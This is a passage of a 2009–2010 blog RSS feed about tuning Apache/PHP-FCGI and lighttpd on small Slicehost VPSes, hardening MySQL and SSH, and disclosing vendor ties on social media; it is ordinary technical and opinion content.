			<content:encoded><![CDATA[<p>I&#8217;ve previously written about my <a href="http://blog.fosketts.net/2009/06/26/multiserver-web-host-environment/" >Multi-Server Web Hosting Environment</a> and the how I <a href="http://blog.fosketts.net/2009/06/29/tuning-lighttpd-linux/" >Tuned Lighttpd For Linux</a> to run as well as possible. But I&#8217;ve been having weird issues with that setup lately and was forced to rebuild the server entirely. While I was at it, I decided to give Apache another try, since the lighttpd hackery I needed to perform to get things like WP-SuperCache running were starting to get me down. The configuration documented here uses Ubuntu Lucid (10.04), Apache 2.2, FCGI, and PHP-CGI tuned for a 512 MB virtual private server (VPS) running on Rackspace Slicehost.</p>
<h3>A Brief History of the Web</h3>
<p>I&#8217;ve been pretty happy with lighttpd as my web server. It&#8217;s light and quick and has a workable fastcgi/PHP implementation. Right out of the box, lighttpd kicks Apache up and down the block on low-memory servers &#8211; the kind you&#8217;ll find in virtual private server hosting companies.</p>
<p>To understand why lighttpd is so good, we have to understand why Apache is so bad. And this means going way back in time to the dawn of the web. In the beginning, web servers were single-threaded processes that slapped pages over network connections on demand. This is like a single lemonade stand, where every customer waits in line but there&#8217;s only one item on offer and it&#8217;s a quick serve. So the line moves pretty quickly but it&#8217;s not all that interesting.</p>
<p>The Netscape Navigator browser revolutionized end-user experience by downloading web page elements in parallel and displaying them as they came in. Web servers responded by &#8220;forking&#8221; multiple copies of themselves to handle these requests (and those from other users) in parallel. Our lemonade stand is still limited in selection, but it now has more workers to hand over the juice.</p>
<p>At the same time, users began demanding more-interesting content. Web 2.0 replaced the old static HTML pages and graphics with interactive web applications, and the PHP language became dominant. Today, most popular web software (including WordPress and Mediawiki) require a PHP interpreter as well as an HTTP server to run. In the old days, server-side compute was handled by a &#8220;back room&#8221; CGI task. Our lemonade counter is now a restaurant, with a kitchen and added a variety of hot foods. But customers (and servers) have to wait while these are cooked up.</p>
<p>The Apache answer to this challenge was to add a kitchen to every checkout position. Out of the box, installing Apache and PHP adds a complete PHP runtime to each Apache process. And since the Apache PHP module is reputed to be unstable in multi-threaded environments, these default setups use the &#8220;prefork&#8221; single-thread-per-process method of handling multiple connections. Now our imaginary fast food restaurant can handle an unlimited number of customers in parallel, right?</p>
<p>In practice, this doesn&#8217;t work well. A 50-position counter could handle tons of customers, but that would be one wide restaurant! The same issue crops up with Apache. It looks super-speedy until loaded up (say, with a midnight Google, Yahoo, or MSN crawl) when it promptly uses up all of your memory forcing the OOM killer to murder your system. The only way to get this default (mod_php/mpm-prefork) version of Apache to be stable, other than adding RAM, is to limit the number of processes spawned. Customers are now back to waiting in line for just a few servers and their experience suffers.</p>
<h3>Lighty Did It, Apache Didn&#8217;t?</h3>
<p>Lighttpd (&#8220;lighty&#8221;) is totally different. It is a small, lightweight HTTP server that farms out PHP tasks to a constantly-running PHP process. This sounds pretty much exactly like the single-kitchen CGI approach of the mid-1990&#8242;s, but there&#8217;s a trick here (as there was then) that makes it work. In traditional CGI, the command processor was started on demand and closed when its work was done. Like a short-order cook, PHP-CGI makes everything to order.</p>
<p>But Netscape had a better idea. They built an always-running server (NSAPI) that could save work in a cache and reuse it for the next visitor. Suddenly we have a full kitchen up and running, complete with prep and sous chefs, able to turn orders around almost as quickly as the servers placed them. FastCGI was an open implementation of this concept, and it allows little lighttpd processes to serve up complex PHP web sites with ease.</p>
<p>Apache has a similar capability, using the modern FCGI implementation, and has also added multi-threaded server capability called mpm-worker. But the multi-threaded server is reputedly unstable when running PHP as a module, and configuring both mpm-worker and mod_fcgi isn&#8217;t yet standard-issue for Apache installs. So most Apache users still use the old prefork/mod_php configuration while most lighttpd users now rely on fastcgi.</p>
<p>Now, these FCGI PHP processes aren&#8217;t exactly light. Each can use 100 MB or more, especially when xcache is used for faster processing. So a lightweight server still needs to limit the number of &#8220;kitchens&#8221; serving the customers. And using a separate process to handle PHP isn&#8217;t as speedy as having an integrated PHP engine. But having more light HTTP servers to move files around reduces the overall load on the system, even if complicated tasks might have to wait for PHP processing.</p>
<p>Then there&#8217;s WP-SuperCache. This WordPress plugin converts complicated PHP pages into simple HTML for the HTTP server to hand off to visitors. In combination with a lightweight server like Apache/mpm-worker or Lighttpd, WP-SuperCache speeds up WordPress sites dramatically.</p>
<p>Although it&#8217;s possible to convince Lighttpd to play nicely with WP-SuperCache (using mod_magnet), it&#8217;s much easier and better-supported in Apache. I was also having an odd issue with Lighttpd &#8220;pausing&#8221; for a few seconds when clients connected it. So I decided to make the switch back to Apache.</p>
<h3>Configuring Apache With MPM-Worker and Mod_FCGI/PHP-CGI</h3>
<p>Now for the technical details. WP-SuperCache and Lighttpd might be poorly-documented, but Mod_FCGI in Apache isn&#8217;t much better. There are a dozen ways to do everything, and everyone&#8217;s recipe differs. Here&#8217;s how I got it to work.</p>
<p>First, I spun up a fresh 512 MB VPS on Slicehost running Ubuntu 10.04 Lucid. I configured it my normal way (locking down access, setting up a restrictive firewall, and installing only basic packages) and rsync-ed over my web site content.</p>
<p>One goal when tuning a server is to use all of the RAM but not much of the swap. Unused RAM is wasted potential, while swapping processes can quickly kill performance. This is one reason to run Apache with FCGI: You can run just a few heavy (large RAM footprint) PHP engines and many more light (3-5 MB) HTTP servers. Using the multi-threaded mpm-worker mode allows each of those Apache processes to serve more requests with less process creation and destruction.</p>
<p>My next step was to install Apache and its required modules along with mpm-worker, mod_fcgi, php5-cgi, and the rest needed to support wordpress. I think the following command should do the trick:</p>
<pre>sudo apt-get install apache2-mpm-worker libapache2-mod_fcgi \
php5-cgi php5-xcache php5-mysql wordpress</pre>
<p>This won&#8217;t work out of the box. We have to set up some wrapper scripts and configuration files for fcgi and php-cgi, but more important is the tuning, which we&#8217;ll get to next.</p>
<p>First, create a php-cgi wrapper for FCGI to use. I called mine /usr/local/bin/php-wrapper and set up a very basic environment. Be sure to make this script executable, too.</p>
<pre>#!/bin/sh
# Set desired PHP_FCGI_* environment variables.
# Example:
# PHP FastCGI processes exit after 500 requests by default.
PHP_FCGI_MAX_REQUESTS=1000
export PHP_FCGI_MAX_REQUESTS
# DO NOT SET PHP_FCGI_CHILDREN!
# Replace with the path to your FastCGI-enabled PHP executable
exec /usr/bin/php-cgi</pre>
<p>As the script comment says, whatever you do, do not set PHP_FCGI_CHILDREN in some misguided attempt to conserve RAM. It will conflict with mod_fcgi and you&#8217;ll end up spawning RAM-hungry but useless child processes and killing your system!</p>
<p>Next, create an fcgi configuration file called /etc/apache2/conf.d/php-fcgid.conf and containing something like the following lines:</p>
<pre>FcgidInitialEnv PHPRC=/etc/php5/cgi
FcgidInitialEnv PHP_FCGI_MAX_REQUESTS 1000
# FcgidMaxRequestsPerProcess should be &lt;= PHP_FCGI_MAX_REQUESTS
# The example PHP wrapper script overrides the default PHP setting.
FcgidMaxRequestsPerProcess 1000
FcgidMaxProcesses 3
FcgidMaxProcessesPerClass 3
FcgidMinProcessesPerClass 1
# Uncomment the following line if cgi.fix_pathinfo is set to 1 in php.ini:
# FcgidFixPathinfo 1
# This makes php scripts work everywhere Apache serves
&lt;Location /&gt;
AddHandler fcgid-script .php
Options +ExecCGI
FcgidWrapper /usr/local/bin/php-wrapper .php
# Customize the next two directives for your requirements.
Order allow,deny
Allow from all
&lt;/Location&gt;</pre>
<p>This is a very permissive configuration, and you might want to tweak things somewhat. But you get the general idea. The important things going on here are the configuration of FCGI to launch just 3 PHP-CGI engines and the assignment of the php-wrapper script to files ending in &#8220;php&#8221; anywhere Apache finds them. This means no special configuration is needed in VirtualHost directives, or anywhere else really.</p>
<p>One more tweak I like is to limit Apache to just 6 worker processes. Since each is multi-threaded and under 5 MB in this configuration, this works well. Add a line to /etc/apache2/apache2.conf in the &#8220;&lt;IfModule mpm_worker_module&gt;&#8221; section saying the following. This is a good complement to the default setting of 25 ThreadsPerChild and  150 MaxClients.</p>
<pre>ServerLimit             6</pre>
<p>Limiting the number of php-cgi processes launched is critical for low-memory systems. A good-sized opcode cache (thanks to xcache) helps them perform well but grows the memory usage like crazy. Although I had just three php-cgi processes running, with one topping 225 MB, overall system performance remained good thanks to WP-SuperCache and six multi-threaded lightweight Apache HTTP servers.</p>
<p>So far, I&#8217;m able to serve multiple WordPress and Mediawiki sites with a few thousand pageviews per day on a 512 MB slice. Running with six Apache workers and 3 or 4 php-cgi processes just gets me under the RAM limit. Of course, I&#8217;m still using a separate 256 MB server for MySQL in addition.</p>
<div id="crp_related"><h3>You might also want to read these other posts...</h3><ul><li><a href="http://blog.fosketts.net/2009/06/26/multiserver-web-host-environment/"  rel="bookmark" class="crp_title">Setting Up a Multi-Server Web Hosting Environment</a></li><li><a href="http://blog.fosketts.net/2010/08/01/force-apache-redirect-canonical-hostnames-serveralias-friend/"  rel="bookmark" class="crp_title">How To Force Apache To Redirect To Canonical Hostnames, or ServerAlias Is Not Your Friend</a></li><li><a href="http://blog.fosketts.net/2009/06/29/tuning-lighttpd-linux/"  rel="bookmark" class="crp_title">Tuning Lighttpd For Linux</a></li><li><a href="http://blog.fosketts.net/2009/02/07/apologies-404s/"  rel="bookmark" class="crp_title">Apologies For The 404s!</a></li><li><a href="http://blog.fosketts.net/2010/03/25/robocopy-multi-threaded/"  rel="bookmark" class="crp_title">Robocopy: Better, Faster, Stronger</a></li></ul></div><script src="http://feeds.feedburner.com/~s/sfoskett?i=http://blog.fosketts.net/2010/07/30/high-performance-memory-apache-php-virtual-private-server/" type="text/javascript" charset="utf-8"></script><hr />
<p><small>© sfoskett for <a href="http://blog.fosketts.net">Stephen Foskett, Pack Rat</a>, 2010. |
<a href="http://blog.fosketts.net/2010/07/30/high-performance-memory-apache-php-virtual-private-server/">A High-Performance, Low-Memory Apache/PHP Virtual Private Server</a>
<br/>
This post was categorized as <a href="http://blog.fosketts.net/category/everything/computerhistory/" title="View all posts in Computer History" rel="category tag">Computer History</a>, <a href="http://blog.fosketts.net/category/everything/" title="View all posts in Everything" rel="category tag">Everything</a>, <a href="http://blog.fosketts.net/category/everything/personal/" title="View all posts in Personal" rel="category tag">Personal</a>. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.fosketts.net/2010/07/30/high-performance-memory-apache-php-virtual-private-server/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<series:name><![CDATA[Web Hosting]]></series:name>
	</item>
		<item>
		<title>Vendor Non-Blogs</title>
		<link>http://blog.fosketts.net/2010/01/20/vendor-twitter/</link>
		<comments>http://blog.fosketts.net/2010/01/20/vendor-twitter/#comments</comments>
		<pubDate>Wed, 20 Jan 2010 18:00:33 +0000</pubDate>
		<dc:creator>Stephen</dc:creator>
				<category><![CDATA[Enterprise storage]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Virtual Storage]]></category>
		<category><![CDATA[astroturfing]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[Disqus]]></category>
		<category><![CDATA[Friendfeed]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Intense Debate]]></category>
		<category><![CDATA[LinkedIn]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[Typepad]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.fosketts.net/?p=2638</guid>
		<description><![CDATA[Biased content isn't just found on blogs - it's much more likely to be found in other areas like Twitter and discussion forums. When does discussion become Astroturf?]]></description>
			<content:encoded><![CDATA[<p>As previously-independent bloggers are being hired in droves by the major IT infrastructure hardware and software vendors, attention is turning to their independence and credibility. But this extends far beyond blogs: <strong>Today&#8217;s social media influencers are everywhere!</strong></p>
<div id="attachment_2652" class="wp-caption aligncenter" style="width: 310px;  border: 1px solid #dddddd; background-color: #f3f3f3; padding-top: 4px; margin: 10px; text-align:center; display: block; margin-right: auto; margin-left: auto;"><a href="http://blog.fosketts.net/wp-content/uploads/2010/01/Astroturf_Found_Growing_On_Your_Car.jpg" ><img class="size-medium wp-image-2652" title="Astroturf_Found_Growing_On_Your_Car" src="http://blog.fosketts.net/wp-content/uploads/2010/01/Astroturf_Found_Growing_On_Your_Car-300x225.jpg" alt="" width="300" height="225" /></a><p style=' padding: 0 4px 5px; margin: 0;'  class="wp-caption-text">Biased content isn&#39;t just found on blogs - it&#39;s much more likely to be found in other areas like Twitter and discussion forums. When does discussion become Astroturf?</p></div>
<h3>Discussions Are On The Move</h3>
<p>The new Internet isn&#8217;t just about blogs. In fact, the majority of social media discussion and linkage probably happens on Twitter, LinkedIn, discussion forums, and other sites. But <strong>non-blog content raises even thornier bias issues than blogs</strong>:</p>
<ol>
<li>Discussions are less formal than blog posts, so <strong>off-the-cuff comments are common</strong>. The rapid turnaround of Twitter comments encourages &#8220;post-before-you-think&#8221; thinking, and knee-jerk comments can be damning. Even if one did not intend to but another vendor down, it&#8217;s easy to say something inappropriate.</li>
<li>The length of a comment is limited, so <strong>subtle nuances get lost</strong>. I&#8217;ve often had trouble saying what I want in 140 characters, and even blog and forum comment conventions restrict verbosity. Again, sometimes your meaty tweet will really cut a competitor to the bone.</li>
<li><strong>Biographical information is limited</strong>. Twitter profiles include just a few words and a single URL, restricting the disclosure of relevant information. Many profiles don&#8217;t include the name of an employer or disclosure of other vendor ties. Forum profiles and signatures are similarly restricted.</li>
<li><strong>The Internet scatters content</strong>. Even if one is careful to disclose one&#8217;s business relationships on a blog, Twitter profile, or LinkedIn page, interactions go far beyond these.</li>
</ol>
<p>Conferences are even worse. Many attendees switch badges or intentionally list a different company just to get in the door, obscuring their identity. And <strong>no one knows who the guy in row 12 is</strong> or why he is asking such pointed questions of the panel. The same thing happens with webinars and Internet polls.</p>
<p>All these limits obscure the good folks out there and conspire to allow the bad ones to act with impunity. This makes everyone suspect. Actively comment on a number of industry blogs and <strong>you could be accused of astroturfing</strong>! Whether it&#8217;s fair or not, employees of hardware and software vendors are being held to a higher standard than so-called independents.</p>
<h3>Personal Defensive SEO</h3>
<p>I&#8217;m going to assume you&#8217;re a good egg and want everyone to know where you&#8217;re coming from when you interact on the Internet. Many businesses actively engage in search engine optimization (SEO) to help them rise to the top of Internet search results. <strong>Individuals need to start doing some SEO, too</strong>, but the reason is different: Make yourself easy to find and disclose your connections and you won&#8217;t look like a bad egg.</p>
<ol>
<li>Get a <strong>LinkedIn profile</strong>, keep it up to date, and set your name and company information to public. Go to Settings -&gt; Public Profile, and turn on Basics, Summary, Current Positions, and Websites at a minimum. And make sure Websites includes your current employer and blog(s).</li>
<li>Create a <a rel="nofollow" href="http://www.google.com/profiles"  target="_blank"><strong>Google profile</strong></a> with links to your LinkedIn profile, blog, Twitter, and other profiles. This helps Google and other search engines disambiguate you from the rest of the crowd. <a href="http://friendfeed.com"  target="_blank">FriendFeed</a> is another great place to set up a profile. I only use Facebook for personal/private connections, so I don&#8217;t bother with corporate links there.</li>
<li>Make sure <strong>your blog</strong> includes links to your Twitter and LinkedIn profiles, too. And pepper your blog with your own full name so it shows up in Google searches.</li>
<li>Include your employer&#8217;s name in your <strong>Twitter &#8220;one line bio&#8221;</strong> and use your blog as your <strong>Twitter profile URL</strong>.</li>
<li>Set up <a href="http://disqus.com"  target="_blank"><strong>Disqus</strong></a><strong>, </strong><a href="http://intensedebate.com/"  target="_blank"><strong>Intense Debate</strong></a><strong>, </strong><a rel="nofollow" href="http://wordpress.com"  target="_blank"><strong>WordPress</strong></a><strong>, and </strong><a rel="nofollow" href="http://www.typepad.com"  target="_blank"><strong>Typepad</strong></a><strong> profiles</strong> and use them whenever possible.</li>
</ol>
<p>All this effort won&#8217;t directly help you, though it might save a few minutes when you try to comment on a blog. But they will make you easier to find, and <strong>reduce the likelihood that someone will accuse you of not disclosing your corporate affiliations</strong>.</p>
<p><em>Astroturf car, public domain image by </em><a rel="nofollow" href="http://commons.wikimedia.org/wiki/User:Ingolfson"  target="_blank"><em>Ingolfson</em></a></p>
<div id="crp_related"><h3>You might also want to read these other posts...</h3><ul><li><a href="http://blog.fosketts.net/2009/07/15/google-reader-social/"  rel="bookmark" class="crp_title">Google Reader Gets More Social</a></li><li><a href="http://blog.fosketts.net/2010/01/18/vendor-bloggers/"  rel="bookmark" class="crp_title">Vendor Bloggers 1: Why Does It Matter?</a></li><li><a href="http://blog.fosketts.net/2010/01/19/vendor-blogger-spectrum/"  rel="bookmark" class="crp_title">The Spectrum of Vendor Blogs</a></li><li><a href="http://blog.fosketts.net/2010/07/02/cool-google-spreadsheet-importxml-xpath/"  rel="bookmark" class="crp_title">Cool Google Spreadsheet XML/XPath Mojo</a></li><li><a href="http://blog.fosketts.net/2009/01/15/googles-analytics-measuring-page-seo/"  rel="bookmark" class="crp_title">Measuring the Importance of Google&#8217;s First Page</a></li></ul></div><script src="http://feeds.feedburner.com/~s/sfoskett?i=http://blog.fosketts.net/2010/01/20/vendor-twitter/" type="text/javascript" charset="utf-8"></script><hr />
<p><small>© sfoskett for <a href="http://blog.fosketts.net">Stephen Foskett, Pack Rat</a>, 2010. |
<a href="http://blog.fosketts.net/2010/01/20/vendor-twitter/">Vendor Non-Blogs</a>
<br/>
This post was categorized as <a href="http://blog.fosketts.net/category/everything/enterprisestorage/" title="View all posts in Enterprise storage" rel="category tag">Enterprise storage</a>, <a href="http://blog.fosketts.net/category/everything/personal/" title="View all posts in Personal" rel="category tag">Personal</a>, <a href="http://blog.fosketts.net/category/everything/virtualstorage/" title="View all posts in Virtual Storage" rel="category tag">Virtual Storage</a>. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.fosketts.net/2010/01/20/vendor-twitter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<series:name><![CDATA[Vendor Bloggers]]></series:name>
	</item>
		<item>
		<title>Setting Up a Multi-Server Web Hosting Environment</title>
		<link>http://blog.fosketts.net/2009/06/26/multiserver-web-host-environment/</link>
		<comments>http://blog.fosketts.net/2009/06/26/multiserver-web-host-environment/#comments</comments>
		<pubDate>Sat, 27 Jun 2009 00:00:32 +0000</pubDate>
		<dc:creator>Stephen</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Dreamhost]]></category>
		<category><![CDATA[eaccelerator]]></category>
		<category><![CDATA[FriendConnect]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[lighttpd]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[MediaWiki]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[Rackspace]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Slicehost]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[sudo]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[VPS]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[XCache]]></category>

		<guid isPermaLink="false">http://blog.fosketts.net/?p=2121</guid>
		<description><![CDATA[The last few weeks have been tough on my web servers. The release of iPhone OS 3.0 tripled my site traffic overnight as folks investigate the new Exchange integration features, and traffic to IT commentary site, Gestalt IT, which I also host, has been growing rapidly. Plus, Google just refreshed PageRank again, sending even more [...]]]></description>
			<content:encoded><![CDATA[<p>The last few weeks have been tough on my web servers. The release of <a href="http://blog.fosketts.net/2009/06/16/iphone-exchange-activesync-integration-30/"  target="_blank">iPhone OS 3.0</a> <strong>tripled my site traffic overnight</strong> as folks investigate the new Exchange integration features, and traffic to IT commentary site, <a href="http://gestaltit.com"  target="_blank">Gestalt IT</a>, which I also host, has been growing rapidly. Plus, <a href="http://blog.fosketts.net/2009/05/27/google-recalculated-pagerank/"  target="_blank">Google just refreshed PageRank</a> again, sending even more visitors my way.</p>
<p>I had <a href="http://blog.fosketts.net/2009/02/07/apologies-404s/"  target="_blank">switched from Dreamhost to Slicehost</a> back in February to improve reliability and performance, but the meagre 256 MB of RAM in my virtual private server (VPS) &#8220;slice&#8221; proved insufficient. The time had come to completely redo my core hosting infrastructure. After some experimentation, I have settled on <strong>a simple two-server configuration based on Ubuntu Linux, MySQL, and lighttpd</strong>. I thought it would be a good idea to document this new configuration, as well as my previous experiments, for posterity.</p>
<blockquote><p>If you&#8217;re interested in setting up a web site as outlined here, <a href="https://manage.slicehost.com/customers/new?referrer=31e5d9e0da4b70b80d0cb0bcc8efc95a"  target="_blank">I recommend Slicehost</a>. They&#8217;re not the cheapest, but their VPS servers are fast and reliable.</p></blockquote>
<h3>History</h3>
<p>My web hosting environment has transitioned over the past six months. I had relied on shared hosting from Dreamhost for almost a decade, with my servers sharing infrastructure and management with thousands of others. This worked fine until I began to see significant traffic increases since creating this blog. <strong>Shared hosting just didn&#8217;t cut it once I had more than a few thousand pageviews per day</strong>.</p>
<p>I tried Dreamhost&#8217;s interesting and very flexible virtual private server capabilities, but could never get them working reliably. Plus, the core networking and storage performance of the Dreamhost infrastructure left something to be desired. After much research I switched to Slicehost, an all-VPS provider that has recently been acquired by Rackspace. Although they are not the cheapest or most flexible, <strong>Slicehost is a very professional service with good support and excellent infrastructure and connectivity</strong>.</p>
<p>I had been using a single 256 MB slice to host my entire site, and had managed to get everything well with lighttpd and MySQL, but this configuration ran into serious performance issues once traffic built again. Once I passed 10,000 pageviews per day, which happened quicker than I hoped, it was again time to upgrade.</p>
<h3>Server Configuration</h3>
<p>My core question was whether to go with a single 512MB or two 256 MB slices. <strong>Would resource contention in a single server be outweighed by the extra available RAM?</strong> After consulting with the experts, I decided that it was time to separate the database and web servers.</p>
<div id="attachment_2122" class="wp-caption aligncenter" style="width: 451px;  border: 1px solid #dddddd; background-color: #f3f3f3; padding-top: 4px; margin: 10px; text-align:center; display: block; margin-right: auto; margin-left: auto;"><a href="http://blog.fosketts.net/wp-content/uploads/2009/06/Web-slice-setup.png" ><img class="size-full wp-image-2122 " title="Web slice setup" src="http://blog.fosketts.net/wp-content/uploads/2009/06/Web-slice-setup.png" alt="A multi-server setup delivers performance, reliability, and future capability." width="441" height="193" /></a><p style=' padding: 0 4px 5px; margin: 0;'  class="wp-caption-text">A multi-server setup delivers performance, reliability, and future capability.</p></div>
<p>As illustrated above, the database and web servers communicate via a high-speed private network, a standard Slicehost component. I created extremely restrictive iptables firewall policies to control access to both servers, disabling almost all communication. The database server in particular is inaccessible except from the web server, and even then only allows MySQL and public key ssh. Both servers are running bare-bones versions of Ubuntu 9.04.</p>
<h3>MySQL Configuration</h3>
<p><strong>MySQL is much happier on its own dedicated server</strong>. It makes excellent use of its own query cache and operating system buffers and has very little disk access at all. Query performance immediately jumped, and site performance noticeably improved.</p>
<p>My only change to my.cnf was to enable the query cache. This works great on my 256 MB slice:</p>
<pre># Enable query cache
query_cache_limit       = 2M
query_cache_size        = 32M</pre>
<p>I&#8217;m not a believer in security through obscurity. Sure, you can use a special high MySQL port, but by then you&#8217;ve probably lost anyway. Regardless, set up iptables to only allow access from your web server&#8217;s private interface using the -s parameter:</p>
<pre># Allow connections on our MySQL port
-A INPUT -p tcp --dport mysql -s 10.176.x.x -j ACCEPT</pre>
<p>It&#8217;s a pretty simple configuration, but it works well. MySQL is humming along without much paging at all, using the entirety of the 256 MB available for caching. I haven&#8217;t had to resort to any tricks to keep the performance up.</p>
<p>One more configuration suggestion: <strong>Use a unique username and password for each database application</strong> and <strong>grant access only to that user on the private network interface</strong>. That way, your risk is segmented to a single database should an intruder use a SQL injection or something similar.</p>
<p>For example, say you were configuring the database &#8220;myblog_wp&#8221; for the user &#8220;me_myblog&#8221; with the password &#8220;123456abcdef&#8221;. You use the web server&#8217;s private interface address, 10.176.x.x as well so it is harder to get in even if your firewall is breached.</p>
<pre>mysql -u root -p
Enter password:
mysql&gt; grant all on myblog_wp.* to 'me_myblog'@'10.176.x.x' identified by '123456abcdef';</pre>
<p>All set!</p>
<h3>Basic Lighttpd Configuration</h3>
<p>Back on the web server, we <strong>configure iptables to only allow connections to lighttpd on port 80 and ssh</strong> on whatever port you decide. Again, some suggest using a high port for ssh, but if you&#8217;ve configured sshd correctly then using an obscure port number is more likely to be a hassle for you than keep anyone out. Here are some good settings for /etc/ssh/sshd_config:</p>
<pre>PermitRootLogin no
PubkeyAuthentication yes
PasswordAuthentication no
X11Forwarding no
UsePAM no
UseDNS no</pre>
<p>This forces all logins to use established public/private key pairs rather than passwords. <strong>Protect your keys</strong> and you&#8217;re in good shape. Key passphrases are a very good idea here! You&#8217;re also disallowing root in any case, since <strong>you&#8217;re using sudo for all administrative tasks</strong>, right?</p>
<p>Next we need to set up lighttpd. I&#8217;m using the basic packaged versions for ease of maintenance rather than building my own. I also loaded the stock versions of php5 and mysql-client which integrate nicely. I used to use eaccelerator but didn&#8217;t love having to recompile it myself and had some mysterious lockups with it running. So <strong>I went with XCache</strong>, which is developed by the same fine folks who created lighttpd.</p>
<pre>sudo aptitude install mysql-client lighttpd php5-xcache</pre>
<p>Why not use Apache? I actually tested Apache with my site before deciding to use lighttpd. I was able to tweak it to run in 256 MB of RAM by limiting the number of worker processes created to 4, but <strong>Apache just couldn&#8217;t handle the site load</strong>. Connections were stacking up and pageviews dropped as people gave up. <strong>Lighttpd with XCache is blindingly fast</strong> and fits in my 256 MB RAM envelope nicely.</p>
<p>The only real issue I have with lighttpd is that configuration is entirely different from Apache and remains less well-supported. It doesn&#8217;t use with .htaccess files, for example, and rewrites use a unique syntax.</p>
<h3>Lighttpd for WordPress</h3>
<p>Here&#8217;s a basic virtual server for /etc/lighttpd/lighttpd.conf for a WordPress domain:</p>
<pre>$HTTP["host"] =~ "^(blog\.)?yourdomain\.com$" {
  server.name = "yourdomain.com"
  server.document-root = basedir + server.name + "/blog"
  url.access-deny = ( "wp-config.php" )
  dir-listing.activate = "disable"
  url.rewrite-final = (
    # Exclude some directories from rewriting
    "^/(wp-admin|wp-includes|wp-content)/(.*)" =&gt; "$0",
    # Uncomment to exclude Google FriendConnect files
    # "^/(canvas.html|rpc_relay.html)" =&gt; "$0",
    # Exclude .php, robots.txt, favicon.*, and sitemap.xml files at root from rewriting
    "^/(.*.php|sitemap.xml|robots.txt|favicon.*)" =&gt; "$0",
    # Handle WordPress permalinks and feeds
    "^/(.*)$" =&gt; "/index.php/$1"
  )
  accesslog.filename = basedir + "/" + server.name + "/log/blog.access.log"
}</pre>
<p>This configuration accomplishes many of the important tasks of WordPress configuration. Most importantly, <strong>it works</strong>!</p>
<ol>
<li>Permalinks and feeds are correctly redirected so no ugly index.php is used</li>
<li>Critical directories like wp-admin and files like robots.txt still work</li>
<li>Your wp-config.php file is explicitly protected</li>
<li>Directory listings are disabled</li>
<li>A site-specific access log is used (like Apache)</li>
</ol>
<p><strong>I&#8217;d love feedback on this configuration! </strong>One weird thing I&#8217;ve not yet figured out is how to use a site-specific error log. I haven&#8217;t configured pretty MediaWiki links in lighttpd yet, but imagine a similar configuration would work there.</p>
<div id="crp_related"><h3>You might also want to read these other posts...</h3><ul><li><a href="http://blog.fosketts.net/2009/02/07/apologies-404s/"  rel="bookmark" class="crp_title">Apologies For The 404s!</a></li><li><a href="http://blog.fosketts.net/2010/07/30/high-performance-memory-apache-php-virtual-private-server/"  rel="bookmark" class="crp_title">A High-Performance, Low-Memory Apache/PHP Virtual Private Server</a></li><li><a href="http://blog.fosketts.net/2009/06/29/tuning-lighttpd-linux/"  rel="bookmark" class="crp_title">Tuning Lighttpd For Linux</a></li><li><a href="http://blog.fosketts.net/2010/08/01/force-apache-redirect-canonical-hostnames-serveralias-friend/"  rel="bookmark" class="crp_title">How To Force Apache To Redirect To Canonical Hostnames, or ServerAlias Is Not Your Friend</a></li><li><a href="http://blog.fosketts.net/2009/11/30/configure-drobo-dashboard-email-gmail-google-apps/"  rel="bookmark" class="crp_title">How To Configure Drobo Dashboard Email for Gmail and Google Apps</a></li></ul></div><script src="http://feeds.feedburner.com/~s/sfoskett?i=http://blog.fosketts.net/2009/06/26/multiserver-web-host-environment/" type="text/javascript" charset="utf-8"></script><hr />
<p><small>© sfoskett for <a href="http://blog.fosketts.net">Stephen Foskett, Pack Rat</a>, 2009. |
<a href="http://blog.fosketts.net/2009/06/26/multiserver-web-host-environment/">Setting Up a Multi-Server Web Hosting Environment</a>
<br/>
This post was categorized as <a href="http://blog.fosketts.net/category/everything/personal/" title="View all posts in Personal" rel="category tag">Personal</a>. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.fosketts.net/2009/06/26/multiserver-web-host-environment/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<series:name><![CDATA[Web Hosting]]></series:name>
	</item>
		<item>
		<title>Google Just Recalculated PageRank!</title>
		<link>http://blog.fosketts.net/2009/05/27/google-recalculated-pagerank/</link>
		<comments>http://blog.fosketts.net/2009/05/27/google-recalculated-pagerank/#comments</comments>
		<pubDate>Wed, 27 May 2009 20:51:22 +0000</pubDate>
		<dc:creator>Stephen</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Enterprise Storage Strategies]]></category>
		<category><![CDATA[Gestalt IT]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[PageRank]]></category>
		<category><![CDATA[search]]></category>
		<category><![CDATA[Wikipedia]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.fosketts.net/?p=1904</guid>
		<description><![CDATA[Although I&#8217;m no search engine expert, I&#8217;m naturally interested in &#8220;how all this stuff works.&#8221; That&#8217;s why I&#8217;ve never owned any gadget I&#8217;ve never taken apart (iPhone, Mac Mini, and MacBook Pro included!) and why I&#8217;ve recently become interested in how the Internet search and referral world works. I&#8217;m not interested in being a search [...]]]></description>
